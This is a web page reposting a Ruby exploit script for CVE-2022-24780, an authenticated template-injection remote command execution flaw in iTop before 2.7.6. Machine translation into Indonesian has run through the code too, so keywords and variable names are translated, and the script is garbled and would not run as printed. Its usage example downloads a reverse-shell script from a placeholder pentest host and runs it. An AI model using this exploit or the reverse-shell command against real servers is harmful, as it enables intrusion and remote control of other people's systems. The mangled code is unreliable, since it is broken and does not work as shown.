Eksekusi Perintah Jarak Jauh iTop

  • Whatsapp
BuilderTorCTPHPRAT.b Shell Upload
BuilderTorCTPHPRATb Shell Upload

News.nextcloud.asia

#!/usr/bin/env ruby

# Eksploitasi
## Judul: iTop < 2.7.6 - (Diotentikasi) Eksekusi perintah jarak jauh
## Memanfaatkan penulis: noraj (Alexandre Zanni) untuk ACCEIS (https://www.acceis.fr)
## Situs web penulis: https://pwn.by/noraj/
## Eksploitasi sumber: https://github.com/Acceis/exploit-CVE-2022-24780
## Tanggal: 2022-05-20
## Beranda Vendor: https://www.combodo.com/itop
## Tautan Perangkat Lunak: https://github.com/Combodo/iTop/archive/refs/tags/2.7.5.tar.gz
## Versi: 2.x < 2.7.6 dan 3.xx-beta < 3.0.0
## Diuji pada: iTop versi 2.7.4 (Ubuntu 18.04.4 LTS – 7.3.28)

# Kerentanan
## Penemu: Markus KRELL
## Tanggal: 2021-10-04
## Situs web penemu: https://markus-krell.de/
## Ditemukan di iTop 2.7.4-7194 dan 3.0.0-beta-7312
## Judul: Injeksi Template Sisi Server di dalam Portal pelanggan
## CVE: CVE-2022-24780
## CWE: CWE-94, CWE-1336
## Tambalan:
## – https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b
## – https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305
## – https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3
## Referensi:
## – https://nvd.nist.gov/vuln/detail/CVE-2022-24780
## – https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54
## – https://markus-krell.de/itop-template-injection-inside-customer-portal/

membutuhkan ‘httpx’
membutuhkan ‘dokop’
membutuhkan ‘nokogiri’

doc = <~DOCOPT
iTop < 2.7.6 - (Diotentikasi) Eksekusi perintah jarak jauh

Penggunaan:
#{__FILE__} lengkap [–debug]
#{__FILE__} lampu [–debug]
#{__FILE__} -h | –Tolong

penuh: eksploitasi dengan browser yang ditiru, jalankan JavaScript, pertahankan informasi profil pengguna asli
light: cukup parsing HTML dan kirim permintaan, tanpa JavaScript, (DESTRUKTIF) setel ulang informasi pengguna: telepon, lokasi, fungsi

Pilihan:
URL Root (jalur dasar) termasuk skema HTTP, port, dan folder root
nama pengguna portal iTop kata sandi pengguna portal iTop
Perintah untuk mengeksekusi pada target
–debug Menampilkan argumen
-h, –help Tampilkan layar ini

Contoh:
#{__FILE__} http://example.org lengkap john ‘s9nvEIZnEo6ghi’ ‘echo proof > /var/www/html/proof.txt’
#{__FILE__} light https://example.org:5000/itop john ‘s9nvEIZnEo6ghi’ ‘curl –remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl’
DOKOPT

def login(root_url, pengguna, pass, http)
login_url = “#{root_url}/pages/UI.php”
parameter = {
‘auth_user’ => pengguna,
‘auth_pwd’ => lulus,
‘login_mode’ => ‘formulir’,
‘loginop’ => ‘masuk’
}

http.post(login_url, form: params).body.to_s
akhir

def login_watir(root_url, pengguna, pass, browser)
login_url = “#{root_url}/pages/UI.php”
browser.goto login_url

browser.text_field(id: ‘pengguna’).set(pengguna)
browser.text_field(id: ‘pwd’).set(lulus)

browser.button(nilai: ‘Enter iTop’).klik
akhir

def fetch_form(root_url, http)
profile_url = “#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal”

# Ambil dan urai dokumen HTML
doc = Nokogiri.HTML5(http.get(profile_url).body.to_s)
tindakan = doc.css(‘form’).pertama[‘action’]
id_transaksi = doc.css(‘input[name=”transaction_id”]’).pertama[‘value’]
form_id = doc.css(‘form’).first[‘id’]
# tidak berfungsi karena diisi dengan javascript, kita perlu menunggu untuk itu
#telepon = doc.css(‘input[id^=field_phone]’).pertama[‘value’]
#lokasi = doc.css(‘pilih[id^=field_location_id] pilihan[selected]’).pertama[‘value’]
#fungsi = doc.css(‘masukan[id^=field_function]’).pertama[‘value’]
return {action: action, tid: transaction_id, fid: form_id}
akhir

def exploit (root_url, cmd, http, browser)
form_data = fetch_form(root_url, http)
vuln_url = “#{root_url}#{form_data[:action]}”
user_info = browser.nil? ? {telepon: ”, lokasi: ”, fungsi: ”} : fetch_form_js(root_url, browser)
parameter = {
‘operasi’ => ‘kirim’,
‘stimulus_code’ => ”,
‘transaction_id’ => form_data[:tid],
# data sumber sudah lolos dari garis miring terbalik dan tanda kutip ganda untuk JSON
# jadi \ -> \\ dan ” -> \”
# tetapi kita perlu menghindari garis miring terbalik sekali untuk Ruby juga karena kita membutuhkan string yang diinterpolasi
# jadi \ -> \\ -> \\\\ dan ” -> \\”
‘formmanager_class’ => ‘Combodo\iTop\Portal\Form\ObjectFormManager’,
‘formmanager_data’ => %Q^{“id”:”#{form_data[:fid]}”,”transaction_id”:”#{form_data[:tid]}”,”formmanager_class”:”Combodo\\\\iTop\\\\Portal\\\\Form\\\\ObjectFormManager”,”formrenderer_class”:”Combodo\\\\iTop\\\\Renderer\\\ \Bootstrap\\\\BsFormRenderer”,”formrenderer_endpoint”:”#{form_data[:action]}”,”formobject_class”:”Person”,”formobject_id”:”1″,”formmode”:”edit”,”formactionrulestoken”:””,”formproperties”:{“id”:”default-user-profile” ,”type”:”custom_list”,”fields”:[],”layout”:{“type”:”twig”,”content”:”

“}}}^,
‘nilai_saat ini[phone]’ => info_pengguna[:phone],
‘nilai_saat ini[location_id]’ => info_pengguna[:location],
‘nilai_saat ini[function]’ => info_pengguna[:function]
}

http.post(vuln_url, form: params).body.to_s
akhir

def fetch_form_js(root_url, browser)
# nilai tersebut tidak dapat diambil dengan nokogiri saja karena diisi menggunakan javascript
profile_url = “#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal”
browser.goto profile_url
telepon = browser.text_field(nama: ‘telepon’).nilai
lokasi = browser.select(nama: ‘location_id’).selected_options.first.value
fungsi = browser.text_field(nama: ‘fungsi’).nilai

kembali {telepon: telepon, lokasi: lokasi, fungsi: fungsi}
akhir

mulai
args = Docopt.docopt(doc)
pp args jika args[‘–debug’]

http = HTTPX.plugin(:cookies)
masuk (args[‘<url>’]argumen[‘<username>’]argumen[‘<password>’]http)

jika argumen[‘full’]
membutuhkan ‘watir’
memerlukan ‘webdriver’

b = Watir::Browser.new :firefox
login_watir(args[‘<url>’]argumen[‘<username>’]argumen[‘<password>’]b)
elif args[‘light’]
b = nihil
akhir

mengeksploitasi (args[‘<url>’]argumen[‘<cmd>’]http, b)
penyelamatan Docopt::Keluar => e
menempatkan e.pesan
akhir

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.